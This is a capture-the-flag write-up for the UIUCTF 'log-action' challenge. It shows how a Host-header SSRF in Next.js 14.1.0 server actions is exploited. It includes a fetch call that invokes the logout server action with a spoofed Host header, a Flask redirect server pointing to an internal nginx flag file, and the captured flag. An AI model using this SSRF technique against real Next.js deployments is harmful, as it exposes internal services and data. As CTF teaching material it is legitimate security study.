I keep trying to log in, but it's not working :'(
We're given a simple Next.js + Next Auth site with a simple login / logout implementation:
"use client";
import { useFormStatus, useFormState } from "react-dom";
import { authenticate } from "@/lib/actions";
export default function LoginPage() {
const [state, formAction] = useFormState(
authenticate,
undefined
);
const { pending } = useFormStatus();
return (
<>
<div className="max-w-prose mx-auto flex flex-col gap-4">
<p className="text-2xl font-bold">
Login
</p>
<form action={formAction} className="flex flex-col gap-4">
<label className="flex flex-col gap-1">
<span>Username</span>
<input
type="username"
id="username"
name="username"
placeholder="Enter your username"
required
minLength={3}
/>
</label>
<label className="flex flex-col gap-1">
<span>Password</span>
<input
type="password"
id="password"
name="password"
placeholder="Enter your password"
required
minLength={10}
/>
</label>
<button type="submit" disabled={pending}>
Log in
</button>
{state ? (
<span className="text-sm text-red-500">
{state}
</span>
) : null}
</form>
</div>
</>
)
}
The main idea here comes from the SSRF in server actions section of this blog.
Essentially, for Next.js < 14.1.1, calls to redirect()
in server actions that use a relative path (ex. /path
) will use the request's Host
header to construct the absolute URL to redirect to. It then fetches this URL on the server to deliver to the client, resulting in SSRF.
Luckily, the challenge is running Next.js 14.1.0 and is therefore vulnerable to this attack!
"next": "14.1.0",
First, we need to find a server action to call that always results in a redirect. Looking in /logout/page.tsx
,
import Link from "next/link";
import { redirect } from "next/navigation";
import { signOut } from "@/auth";
export default function Page() {
return (
<>
<h1 className="text-2xl font-bold">Log out</h1>
<p>Are you sure you want to log out?</p>
<Link href="/admin">
Go back
</Link>
<form
action={async () => {
"use server";
await signOut({ redirect: false });
redirect("/login");
}}
>
<button type="submit">Log out</button>
</form>
</>
)
}
it looks like we can trigger this inline server action to do just that. We can manually call this action via
const formData = new FormData();
formData.set('1_$ACTION_ID_c3a144622dd5b5046f1ccb6007fea3f3710057de', '');
formData.set('0', '["$K1"]');
await (await fetch('http://log-action.challenge.uiuc.tf/logout', {
method: 'POST',
headers: {
'Next-Action': 'c3a144622dd5b5046f1ccb6007fea3f3710057de',
// 'Host': '...'
},
body: formData
})).text()
editing the Host
header to the URL of our exploit server. We can look in the docker-compose file to find that the flag is statically hosted by nginx
at http://backend/flag.txt
:
version: '3'
services:
frontend:
build: ./frontend
restart: always
environment:
- AUTH_TRUST_HOST=http://localhost:3000
ports:
- "3000:3000"
depends_on:
- backend
backend:
image: nginx:latest
restart: always
volumes:
- ./backend/flag.txt:/usr/share/nginx/html/flag.txt
Then, we can set up a Flask server to redirect our redirect()
call to that URL and invoke the logout action to get the flag.
from flask import Flask, Response, request, redirect
app = Flask(__name__)
@app.route('/', defaults={'path': ''})
@app.route('/<path:path>')
def catch(path):
if request.method == 'HEAD':
resp = Response("")
resp.headers['Content-Type'] = 'text/x-component'
return resp
return redirect('http://backend/flag.txt')
uiuctf{close_enough_nextjs_server_actions_welcome_back_php}